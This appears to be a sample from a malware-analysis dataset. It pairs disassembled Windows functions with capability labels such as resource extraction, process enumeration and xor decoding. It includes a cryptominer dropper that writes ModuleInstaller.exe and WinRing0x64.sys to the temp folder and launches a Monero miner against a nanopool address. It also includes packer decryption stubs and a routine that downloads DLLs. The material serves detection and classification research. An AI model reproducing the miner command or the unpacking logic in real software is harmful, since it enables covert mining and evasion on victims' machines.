joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x41d004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 0x41afc4
movzx eax, dx
push eax
push 0
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.DLL_FindResourceW]
mov esi, eax
test esi, esi
je 0x4010c2
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_LoadResource]
test eax, eax
jne 0x401059
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004016a2
mov esp, ebp
pop ebp
ret
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
push esi
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push edi
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x4010c2
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x4010c2
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push esi
call dword [sym.imp.KERNEL32.DLL_FreeResource]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004016a2
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004016a2
mov esp, ebp
pop ebp
ret

Function at 0x4010e0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x41d004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push 2
mov dword [ebp - 0x234], ecx
mov dword [ebp - 0x230], 0x22c
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
jne 0x401123
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004016a2
mov esp, ebp
pop ebp
ret
push ebx
push edi
lea eax, [ebp - 0x230]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_Process32FirstW]
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
mov ebx, dword [sym.imp.KERNEL32.DLL_Process32NextW]
nop
push dword [ebp - 0x234]
lea eax, [ebp - 0x20c]
push eax
call edi
test eax, eax
je 0x40117b
lea eax, [ebp - 0x230]
push eax
push esi
call ebx
test eax, eax
jne 0x401140
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop ebx
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004016a2
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop ebx
xor ecx, ebp
pop esi
call fcn.004016a2
mov esp, ebp
pop ebp
ret
Function at 0x4011a0
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2004
call fcn.004139a0
mov eax, dword [0x41d004]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, str.ModuleInstaller.exe
call fcn.004010e0
test eax, eax
jne 0x401228
push 0x2000
lea eax, [ebp - 0x2004]
push eax
push str._TEMP_ModuleInstaller.exe
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x2004]
mov edx, 0x66
push eax
call fcn.00401000
add esp, 4
lea eax, [ebp - 0x2004]
push 0x2000
push eax
push str._TEMP_WinRing0x64.sys
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x2004]
mov edx, 0x67
push eax
call fcn.00401000
add esp, 4
push 0
push str.cmd__c___TEMP_ModuleInstaller.exe____coin_monero___donate_level_0__o_xmr_eu2.nanopool.org:14444__u_41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo
call dword [sym.imp.KERNEL32.DLL_WinExec]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004016a2
mov esp, ebp
pop ebp
ret
Function at 0x1004605f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100870c0]
jne 0x10046069
repz ret
jmp fcn.1004ef8a

Function at 0x1004eda7
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x10087268]
je 0x1004edc2
inc edi
cmp edi, 0x17
jb 0x1004edb3
cmp edi, 0x17
jae 0x1004ef42
push ebp
push 3
call fcn.10055799
cmp eax, 1
pop ecx
je 0x1004ef0e
push 3
call fcn.10055799
test eax, eax
pop ecx
jne 0x1004edf6
cmp dword [0x1008894c], 1
je 0x1004ef0e
cmp ebx, 0xfc
je 0x1004ef41
push 0x1000ae6c
mov ebx, 0x314
push ebx
mov ebp, 0x10088b00
push ebp
call fcn.1004bc25
add esp, 0xc
test eax, eax
je 0x1004ee2c
push esi
push esi
push esi
push esi
push esi
call fcn.1004fb11
add esp, 0x14
push 0x104
mov esi, 0x10088b19
push esi
push 0
mov byte [0x10088c1d], 0
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1004ee70
push 0x1000ae54
push 0x2fb
push esi
call fcn.1004bc25
add esp, 0xc
test eax, eax
je 0x1004ee70
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.1004fb11
add esp, 0x14
push esi
call fcn.10055430
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x1004eeb5
push esi
call fcn.10055430
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x10088e14
push 0x1000a540
sub ecx, eax
push ecx
push eax
call fcn.10074324
add esp, 0x14
test eax, eax
je 0x1004eeb5
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.1004fb11
add esp, 0x14
jmp 0x1004eeb7
xor esi, esi
push 0x1000ae50
push ebx
push ebp
call fcn.1004bbb4
add esp, 0xc
test eax, eax
je 0x1004eed7
push esi
push esi
push esi
push esi
push esi
call fcn.1004fb11
add esp, 0x14
push dword [edi*8 + 0x1008726c]
push ebx
push ebp
call fcn.1004bbb4
add esp, 0xc
test eax, eax
je 0x1004eef9
push esi
push esi
push esi
push esi
push esi
call fcn.1004fb11
add esp, 0x14
push 0x12010
push 0x1000ae28
push ebp
call fcn.10074324
add esp, 0xc
jmp 0x1004ef41
push 0xfffffffffffffff4
call dword [sym.imp.kernel32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x1004ef41
cmp ebp, 0xffffffff
je 0x1004ef41
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x1008726c]
push dword [esi]
call fcn.10055430
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.kernel32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x40287f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x40288e
pop dword [ebp - 0x34]
mov eax, 0x40288e
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x8e0f75af
sub dword [ebp - 0x44], 0x3fbd3064
mov dword [ebp - 0x40], 0xe0186b67
sub dword [ebp - 0x40], 0xade51f22
mov dword [ebp - 0x3c], 0x809928f3
add dword [ebp - 0x3c], 0xcbb31b3b
mov dword [ebp - 0x38], 0x58e55ba7
sub dword [ebp - 0x38], 0x58e55ba7
lea eax, [ebp - 0x44]
push eax
mov eax, 0x6d04bfec
add eax, 0x933bc0a0
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x62e95076
add dword [ebp - 0x44], 0x118918e0
mov dword [ebp - 0x40], 0xe3ee2485
sub dword [ebp - 0x40], 0xa281c310
mov dword [ebp - 0x3c], 0xd65b2aa3
add dword [ebp - 0x3c], 0x8d1441c9
mov dword [ebp - 0x38], 0x88003ca0
sub dword [ebp - 0x38], 0x88003ca0
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0x5e28b565
sub eax, 0x5de83491
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x33842
push 0
call eax
mov ecx, 0x3bae
mov edi, eax
mov edx, 0x411000
add edx, dword [ebp - 0x34]
mov esi, 0xb86df0d1
add esi, 0x4ccab7ef
add dword [ebp - 0x14], edx
mov ebx, dword [edx]
mov dword [ebp - 0x14], 0xbc376899
xor ebx, esi
xor dword [ebp - 8], 0xe99304ff
mov dword [edi], ebx
add dword [ebp - 0x24], 0xb74a967d
add edi, 0xec424c8a
add edi, 0x13bdb37a
add edx, 4
loop 0x40299f
add eax, 0x3be099b7
sub eax, 0x3bdfb82c
xor ebx, ebx
add ebx, eax
add eax, 0xd533cea7
sub eax, 0xd533cea2
mov ecx, 0xca8711c9
add ecx, 0x35b8ee37
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x426004]
jne 0x40100a
repz ret
jmp fcn.00401448

Function at 0x405615
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x426004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00403715
and dword [ebp - 0x14], 0
cmp dword [0x428d7c], 0
mov dword [ebp - 0x18], eax
jne 0x4056c8
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x405770
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x405770
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x428d7c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x428d80], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x428d84], eax
call edi
push eax
call esi
mov dword [0x428d8c], eax
test eax, eax
je 0x4056c8
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x428d88], eax
mov eax, dword [0x428d88]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x405721
cmp dword [0x428d8c], ecx
je 0x405721
push eax
call esi
push dword [0x428d8c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x405721
test ebx, ebx
je 0x405721
call edi
test eax, eax
je 0x405718
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x405718
test byte [ebp - 8], 1
jne 0x405721
or dword [ebp + 0x10], 0x200000
jmp 0x405754
mov eax, dword [0x428d80]
cmp eax, dword [ebp - 0x18]
je 0x405754
push eax
call esi
test eax, eax
je 0x405754
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x405754
mov eax, dword [0x428d84]
cmp eax, dword [ebp - 0x18]
je 0x405754
push eax
call esi
test eax, eax
je 0x405754
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x428d7c]
call esi
test eax, eax
je 0x405770
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x405772
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
leave
ret
Function at 0x41d7d0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x426004]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x1efb584], 0xfc7
jne 0x41d800
push 0
lea eax, [ebp - 0x404]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [0x42929c]
imul eax, eax, 0x343fd
cmp dword [0x1efb584], 0x139e
mov dword [0x42929c], eax
jne 0x41d832
mov ecx, dword [ebp - 0x408]
push 0
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_GetAce]
mov eax, dword [0x42929c]
add eax, 0x269ec3
push esi
mov dword [0x42929c], eax
movzx esi, word [0x42929e]
and esi, 0x7fff
cmp dword [0x1efb584], 0x8e7
jne 0x41d869
push 0
lea edx, [ebp - 0x404]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00401000
mov esp, ebp
pop ebp
ret

Function at 0x41d930
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x426dc0]
sub esp, 0x10
push ebx
mov ebx, dword [0x1efaf28]
push edi
mov edi, dword [0x1efb584]
call fcn.0041d880
cmp dword [0x1efb584], 0x2f
jne 0x41d989
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
call fcn.0041d8b0
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41dc40
Capabilities:
Get disk information
Get file size

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1818
call fcn.004076f0
mov eax, dword [0x426004]
xor eax, ebp
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
jmp 0x41dc69
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xbbe2aa2
jge 0x41dd11
cmp dword [0x1efb584], 0xa5f
jne 0x41dcb5
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
lea ecx, [ebp - 0x818]
push ecx
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 8]
push ecx
push 0
lea edx, [ebp - 0x1018]
push edx
push 0x424a60
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
cmp dword [ebp - 4], 0x84526b
jne 0x41dcda
mov eax, dword [0x427be0]
mov dword [0x1efb584], eax
mov ecx, dword [0x1efb584]
add ecx, 0xa231
mov dword [0x1efb584], ecx
cmp dword [0x1efb584], 0x141
jne 0x41dd0c
push str.jisaxivemuvanacucoxoxobo_necogoduhutevepipojomaji_kadesezimini_joretevigusopibiyigibiga_wemakihumovuyo
lea edx, [ebp - 0x1818]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [0x4292a0], 0xec58acac
mov dword [0x4292a4], 0xffffffff
jmp 0x41dc60
call fcn.0041d9a0
jmp dword [0x1efaf28]

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408f6c
mov ecx, 0x5ef80f41
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0xb5c62fe
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x406234
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x406243
pop dword [ebp - 0x2c]
mov eax, 0x406243
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0xaf0a2173
add dword [ebp - 0x3c], 0x9f4823d8
mov dword [ebp - 0x38], 0x60dc589b
add dword [ebp - 0x38], 0xd156f3aa
mov dword [ebp - 0x34], 0x1f03a8e7
sub dword [ebp - 0x34], 0xd2b764b9
mov dword [ebp - 0x30], 0xcfaef8f
add dword [ebp - 0x30], 0xf3051071
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x6e7ad61b
add dword [ebp - 0x3c], 0x5f7933b
mov dword [ebp - 0x38], 0x8b27e695
add dword [ebp - 0x38], 0xb6447ae0
mov dword [ebp - 0x34], 0x1e02d740
add dword [ebp - 0x34], 0x456c952c
mov dword [ebp - 0x30], 0x5a1a9400
add dword [ebp - 0x30], 0xa5e56c00
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0xa24d1e1b
sub eax, 0xa20c9d1b
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x37a67
push 0
call eax
mov ecx, 0x4a82
xor ebx, ebx
add ebx, eax
mov esi, 0x46e400
add esi, dword [ebp - 0x2c]
mov edx, 0x3d9e2bfd
xor dword [ebp - 0x1c], ecx
mov edi, dword [esi]
xor dword [ebp - 0x18], eax
sub edi, edx
xor dword [ebp - 4], ecx
mov dword [ebx], edi
sub dword [ebp - 4], 0x87d67fd4
add ebx, 0xe5da3d8
sub ebx, 0xe5da3d4
add esi, 0x2b84fee2
add esi, 0xd47b0122
loop 0x40634b
add eax, 0x1bdb1869
sub eax, 0x1bd9fb8e
xor ebx, ebx
add ebx, eax
add eax, 0x86c4b128
sub eax, 0x86c4b123
mov ecx, 0x400000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x40669d
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dcc], 0
push esi
jne 0x4066d4
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4066ae
mov dword [ecx*4 + 0x427dc8], eax
inc ecx
cmp ecx, 0x100
jl 0x4066a9
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406705
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427dc8]
xor eax, esi
inc ecx
dec edx
jne 0x4066e7
pop edi
not eax
pop esi
ret 0xc
Function at 0x401cc0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
cmp byte [0x43c37d], 0
push ebx
push ebp
push esi
push edi
jne 0x401d5d
mov ebp, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push 0
call ebp
push 0x431dec
mov esi, eax
push 0x65
push esi
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_LoadResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
push ebx
mov dword [0x43c394], eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
cmp dword [0x43c380], 0
mov dword [0x43c390], eax
mov byte [0x43c37d], 1
jne 0x401d43
push 0x104
call fcn.0041bc9a
add esp, 4
push 0x104
push eax
push 0
mov dword [0x43c380], eax
call ebp
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov eax, dword [0x43c380]
push 0x43c38c
push 0
push eax
call fcn.00407880
add esp, 0xc
mov dword [0x43c388], eax
mov ecx, dword [esp + 0x18]
mov edi, dword [ecx]
mov edx, dword [0x43c38c]
mov ebx, dword [0x43c394]
lea eax, [edi + edx]
add eax, ebx
push eax
mov dword [ecx], eax
call fcn.0041bc9a
mov ecx, dword [0x43c390]
push ebx
mov esi, eax
push ecx
push esi
call fcn.00421440
mov ebp, dword [esp + 0x24]
push edi
add ebx, esi
push ebp
push ebx
call fcn.00421440
mov edx, dword [0x43c38c]
mov eax, dword [0x43c388]
push edx
push eax
add ebx, edi
push ebx
call fcn.00421440
mov dword [esi + 0xc00], 2
mov dword [esi + 0xc08], edi
mov ecx, dword [0x43c38c]
push ebp
mov dword [esi + 0xc0c], ecx
call fcn.0041bb78
add esp, 0x2c
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret
Function at 0x403800
Capabilities:
Create directory
Enumerate files on windows

Disassembly:
sub esp, 0x358
push ebx
push esi
push edi
call fcn.004075b0
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
test eax, eax
jne 0x4038a1
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x4038a1
push esi
lea eax, [esp + 0x25c]
push str._s.dll
push eax
call fcn.0041bec6
add esp, 0xc
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x25c]
push edx
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4038a1
mov ebx, dword [sym.imp.KERNEL32.DLL_FindNextFileA]
lea eax, [esp + 0x3c]
push eax
push esi
lea ecx, [esp + 0x158]
push str._s_s
push ecx
call fcn.0041bec6
lea edx, [esp + 0x160]
push 0
push edx
call fcn.00403710
add esp, 0x18
lea eax, [esp + 0x10]
push eax
push edi
call ebx
test eax, eax
jne 0x403864
push edi
call dword [sym.imp.KERNEL32.DLL_FindClose]
pop edi
pop esi
pop ebx
add esp, 0x358
ret
Function at 0x4038d0
Capabilities:
Delete file

Disassembly:
sub esp, 0x218
push ebx
push ebp
mov ebp, dword [0x43c358]
push esi
push edi
mov edi, dword [0x43c354]
cmp edi, ebp
jbe 0x4038f5
call fcn.0041c09d
mov ebp, dword [0x43c358]
cmp dword [0x43c354], ebp
mov esi, ebp
jbe 0x40390a
call fcn.0041c09d
mov ebp, dword [0x43c358]
cmp edi, esi
je 0x403a20
cmp edi, ebp
jb 0x403921
call fcn.0041c09d
mov ebp, dword [0x43c358]
mov eax, dword [esp + 0x22c]
lea edx, [eax + 1]
jmp 0x403930
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x403930
mov esi, dword [edi + 0x1c]
sub eax, edx
mov ebx, eax
mov eax, esi
cmp eax, esi
jae 0x403946
cmp esi, ebx
mov eax, esi
jb 0x40394e
mov eax, ebx
cmp dword [edi + 0x20], 0x10
jb 0x403959
mov edx, dword [edi + 0xc]
jmp 0x40395c
lea edx, [edi + 0xc]
mov ecx, dword [esp + 0x22c]
call fcn.00403680
test eax, eax
jne 0x403979
cmp esi, ebx
jb 0x403979
cmp esi, ebx
setne al
test eax, eax
je 0x403990
cmp edi, ebp
jb 0x403988
call fcn.0041c09d
mov ebp, dword [0x43c358]
add edi, 0x2c
jmp 0x4038f5
cmp edi, ebp
jb 0x40399f
call fcn.0041c09d
mov ebp, dword [0x43c358]
mov eax, dword [edi + 0x24]
cmp eax, dword [esp + 0x230]
jb 0x4039b8
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x218
ret
cmp edi, ebp
jb 0x4039c1
call fcn.0041c09d
mov ecx, dword [edi + 4]
mov edx, dword [ecx + 8]
call edx
cmp edi, dword [0x43c358]
jb 0x4039d6
call fcn.0041c09d
mov ecx, dword [edi]
push 0x104
lea eax, [esp + 0x124]
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
cmp edi, dword [0x43c358]
jb 0x4039f9
call fcn.0041c09d
mov edx, dword [edi]
push edx
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
push edi
mov eax, 0x43c350
push eax
lea esi, [esp + 0x18]
call fcn.00403e30
lea eax, [esp + 0x120]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov ecx, dword [esp + 0x234]
mov edx, dword [0x43c2f8]
push 0
push 0x80000000
push 0xffffffffffffffff
push 0
push ecx
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
je 0x4039ab
lea eax, [esp + 0x10]
push eax
push esi
xor eax, eax
call fcn.00407ba0
add esp, 8
push esi
mov edi, eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
test edi, edi
je 0x4039ab
call fcn.0041c0ba
push eax
call fcn.004075b0
push eax
lea ecx, [esp + 0x20]
push str._s_d.dll
push ecx
call fcn.0041bec6
mov edx, dword [esp + 0x20]
push edx
lea eax, [esp + 0x2c]
push edi
push eax
call fcn.00407810
add esp, 0x1c
push edi
call fcn.0041bb78
add esp, 4
lea ecx, [esp + 0x18]
push 1
push ecx
call fcn.00403710
add esp, 8
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x218
ret